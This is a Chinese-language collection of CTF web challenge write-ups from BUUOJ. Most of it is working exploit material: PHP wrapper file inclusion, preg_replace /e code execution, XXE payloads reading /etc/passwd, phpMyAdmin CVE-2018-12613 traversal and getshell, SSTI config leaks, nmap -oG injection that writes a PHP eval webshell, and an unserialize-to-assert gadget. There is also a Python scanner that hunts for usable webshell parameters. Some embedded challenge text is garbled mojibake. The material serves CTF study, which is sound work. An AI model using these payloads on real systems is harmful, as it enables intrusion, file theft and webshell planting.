[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
得到next.php:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
看源码就知道/e拼接可以进行rce
preg_replace当三个参数可控制时。
preg_replace($_GET['pat'],$_GET['rep'],$_GET['sub']);
/pat=/(.*)/e&rep= system('ls')&sub=test
php5以上就弃用了/e
https://xz.aliyun.com/t/2557?time__1311=n4%2BxnieDqxg7Ki%3DD%2FWT4BKPzx0EwxQTeGQm4D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F
/next.php?\S*={${getFlag()}}&cmd=system('cat /f*');
[NCTF2019]Fake XML cookbook
观察是xml,尝试xxe注入,读文件
将元素声明为ANY
POST http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/doLogin.php HTTP/1.1
Host: 47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 191
Origin: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
Connection: close
Referer: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>0
</password></user>
如果目标服务器使用的是PHP环境:
POST http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/doLogin.php HTTP/1.1
Host: 47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 196
Origin: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
Connection: close
Referer: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/flag"> ]>
<user><username>&example;</username><password>0
</password></user>
直接读取:
POST http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/doLogin.php HTTP/1.1
Host: 47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 154
Origin: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
Connection: close
Referer: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<user><username>&example;</username><password>0
</password></user>
[GWCTF 2019]我有一个数据库
这题扫描目录后,发现有个/phpmyadmin/index.php的目录,我们登陆进去
看到phpmyadmin是4.8.1版本的,然后有文件包含漏洞 CVE-2018-12613(这个漏洞的代码也被当作考点考过)
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../etc/passwd
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../flag
flag{d5acde72-b5f3-4c07-b27d-48a8bc73d33a}
这里还可以配合文件包含漏洞,进行getshell操作
show variables like '%datadir%';
先查看数据保存的地方
/var/lib/mysql/
然后我们再test数据库下,创建一个表shell,字段名字为我们的木马:
然后我们进行文件包含
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../var/lib/mysql/test/shell.frm
frm文件为mysql保存存储结构的文件
我们还有一种方法可以进行文件包含
[BJDCTF2020]Mark loves cat
index.php:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
一个简单的变量覆盖:
/index.php?is=flag&flag=flag
覆盖flag就OK了
[WUSTCTF2020]朴实无华
这题访问robots.txt,看到/fAke_f1agggg.php路由
然后我们就直接看到reponse包里面有这个Look_at_me: /fl4g.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
绕第二个if
print(hashlib.md5('0e215962017'.encode()).hexdigest())
0e291242476940776845150308577824
第三个if没啥好说的,过滤了空格和cat
/fl4g.php?num=199e2&md5=0e215962017&get[flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[强网杯 2019]高明的黑客
访问www.tar.gz这个看到源码里面有一堆文件,全是混乱的shell,但是 不知道为什么都利用不了
找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG
看大佬的脚本,但是buuoj的平台不能开高线程:
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:/Users/Harder/Downloads/src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'pppppp';"
for n in posts:
data[n] = "echo 'pppppp';"
url = 'http://c5b10c37-beac-4029-a3ae-4e6c591e8a8f.node5.buuoj.cn:81/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "pppppp" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'pppppp';")
content = req.text
req.close() # 关闭请求 释放内存
if "pppppp" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'pppppp';"})
content = req.text
req.close() # 关闭请求 释放内存
if "pppppp" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间:' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files:
t = threading.Thread(target=get_content, args=(i,))
t.start() #加入多线程
[MRCTF2020]PYWebsite
这题看源码访问/flag.php
加一个(有点脑洞
X-Forwarded-For: 127.0.0.1
[WesternCTF2018]shrine
这题的源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') #
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
过滤了config参数和self。
用ssti getshell不行报错500
如果没用黑名单,我们就直接{{self.dict}}或者{{config}}
过滤了我们可以获取current_app这样的全局变量
python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。
这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
[ASIS 2019]Unicorn shop
这题测了半天一直很蒙蔽,看了源码说UTF-8很重要???
直接看wp了,unicode编码安全问题,之前国际赛遇到过,bypass的小tips
https://blog.lyle.ac.cn/2018/10/29/unicode-normalization/
curl http://bf85f776-688a-430a-a83a-475655b5db66.node5.buuoj.cn:81/charge --data "id=4&price=%E1%8D%BC"
[网鼎杯 2020 朱雀组]Nmap
测试一下
Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/fbcd9" in /var/www/html/result.php on line 23
我还以为是xml相关的漏洞
nmap相关的参数:
目标规范:
可以通过主机名、IP地址、网络等指定目标。
-iL:从一个包含主机/网络列表的文件中读取目标。
-iR:随机选择指定数量的目标。
--exclude:排除指定的主机/网络。
--excludefile:从文件中排除列表。
主机发现:
-sL:列出要扫描的目标,不进行实际扫描。
-sn:只进行ping扫描,不进行端口扫描。
-Pn:跳过主机发现阶段。
-PS/PA/PU/PY[portlist]:利用TCP SYN/ACK、UDP或SCTP探测给定端口。
-PE/PP/PM:使用ICMP echo、timestamp和netmask请求探测。
-n/-R:不进行/总是进行DNS解析。
--dns-servers:指定自定义DNS服务器。
--traceroute:追踪到每个主机的路由路径。
扫描技术:
-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon扫描。
-sU:UDP扫描。
-sN/sF/sX:TCP Null、FIN和Xmas扫描。
--scanflags:自定义TCP扫描标志。
-b:FTP弹跳扫描。
端口规范和扫描顺序:
-p:只扫描指定端口范围。
-F:快速模式,扫描默认端口。
-r:连续扫描端口,不随机化。
--top-ports:扫描最常见的指定数量端口。
--port-ratio:扫描比率超过指定比率的端口。
服务/版本探测:
-sV:探测打开端口的服务/版本信息。
脚本扫描:
-sC:相当于--script=default。
--script:指定要执行的NSE脚本。
--script-args:为脚本提供参数。
操作系统探测:
-O:启用操作系统探测。
计时和性能:
-T<0-5>:设置计时模板(数字越大越快)。
--min-rate/--max-rate:限制每秒发送的包的速率。
防火墙/IDS规避和欺骗:
-f:利用分片来规避IDS。
-D:使用诱饵扫描。
-S:欺骗源地址。
-g/--source-port:使用特定的源端口。
--spoof-mac:伪造MAC地址。
输出:
-oN/-oX/-oS/-oG:以不同格式输出扫描结果。
-v:增加详细等级。
--reason:显示端口状态的原因。
杂项:
-6:启用IPv6扫描。
-A:激活操作系统探测、版本探测、脚本扫描和路由追踪。
-V:打印版本号。
示例:
nmap -v -A scanme.nmap.org:详细模式下,对scanme.nmap.org执行扫描,包括操作系统探测、版本探测、脚本扫描和路由追踪。
nmap -v -sn 192.168.0.0/16 10.0.:在给定的网络地址上执行ping扫描。
getshell过后读源码看到了这个:
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
这里用-oG,-oN绕不过
'<?= eval($_GET[1]); ?> -oG 1.phtml '
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
//escapeshellarg
//1,确保用户值传递一个参数给命令
//2,用户不能指定更多的参数
//3,用户不能执行不同的命令
$host = escapeshellcmd($host);
//escapeshellcmd
//1,确保用户只执行一个命令
//2,用户可以指定不限数量的参数
//3,用户不能执行不同的命令
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
这样排列就是有漏洞的,调换一个顺序就无漏洞了
和上题目一样的直接用''来进行bypass ,还要加个X-Forwarded-For头
'<?= eval($_GET[1]); ?> -oG /var/www/html/1.php '
[NPUCTF2020]ReadlezPHP
在js源码中看到这个未授权接口/time.php?source
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
<?php
error_reporting(0);
highlight_file(__FILE__);
class HelloPhp
{
public $a;
public $b;
}
$p = new HelloPhp;
$p->a = "phpinfo();";
$p->b = "assert";
echo serialize($p);
unserialize($_GET["data"]);
不知道为啥这题的system,按道理来说system和assert都应该是可以的